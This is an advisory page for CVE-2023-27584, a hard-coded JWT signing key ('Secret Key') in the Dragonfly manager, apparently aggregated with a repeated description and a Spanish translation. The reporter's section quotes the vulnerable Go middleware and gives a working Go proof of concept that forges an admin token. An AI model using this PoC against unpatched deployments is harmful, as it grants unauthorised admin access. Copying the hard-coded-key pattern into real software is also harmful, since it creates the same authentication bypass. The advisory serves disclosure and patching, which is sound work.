CVE-2023-27584

Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.

Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.

Dragonfly2 has hard coded cyptographic key in d7y.io/dragonfly

### Summary Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature. ### Details Dragonfly uses [JWT](https://github.com/dragonflyoss/Dragonfly2/blob/cddcac7e3bdb010811e2b62b3c71d9d5c6749011/manager/middlewares/jwt.go) to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass ```go authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{ Realm: "Dragonfly", Key: []byte("Secret Key"), Timeout: 2 * 24 * time.Hour, MaxRefresh: 2 * 24 * time.Hour, IdentityKey: identityKey, IdentityHandler: func(c *gin.Context) any { claims := jwt.ExtractClaims(c) id, ok := claims[identityKey] if !ok { c.JSON(http.StatusUnauthorized, gin.H{ "message": "Unavailable token: require user id", }) c.Abort() return nil } c.Set("id", id) return id }) ``` ### PoC Use code below to generate a jwt token ```go package main import ( "errors" "fmt" "time" "github.com/golang-jwt/jwt/v4" ) func (stc *DragonflyTokenClaims) Valid() error { // Verify expiry. if stc.ExpiresAt <= time.Now().UTC().Unix() { vErr := new(jwt.ValidationError) vErr.Inner = errors.New("Token is expired") vErr.Errors |= jwt.ValidationErrorExpired return vErr } return nil } type DragonflyTokenClaims struct { Id int32 `json:"id,omitempty"` ExpiresAt int64 `json:"exp,omitempty"` Issue int64 `json:"orig_iat,omitempty"` } func main() { signingKey := "Secret Key" token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{ ExpiresAt: time.Now().Add(time.Hour).Unix(), Id: 1, Issue: time.Now().Unix(), }) signedToken, _ := token.SignedString([]byte(signingKey)) fmt.Println(signedToken) } ``` And send request with JWT above , you can still get data without restriction. <img width="1241" alt="image" src="https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png"> ### Impact An attacker can perform any action as a user with admin privileges.

Dragonfly es un sistema de distribución de archivos y aceleración de imágenes basado en P2P de código abierto. Está alojado por la Cloud Native Computing Foundation (CNCF) como un proyecto de nivel de incubación. Dragonfly utiliza JWT para verificar al usuario. Sin embargo, la clave secreta para JWT, "Clave secreta", está codificada de forma rígida, lo que permite eludir la autenticación. Un atacante puede realizar cualquier acción como usuario con privilegios de administrador. Este problema se ha solucionado en la versión 2.0.9. Se recomienda a todos los usuarios que actualicen. No existen workarounds conocidas para esta vulnerabilidad.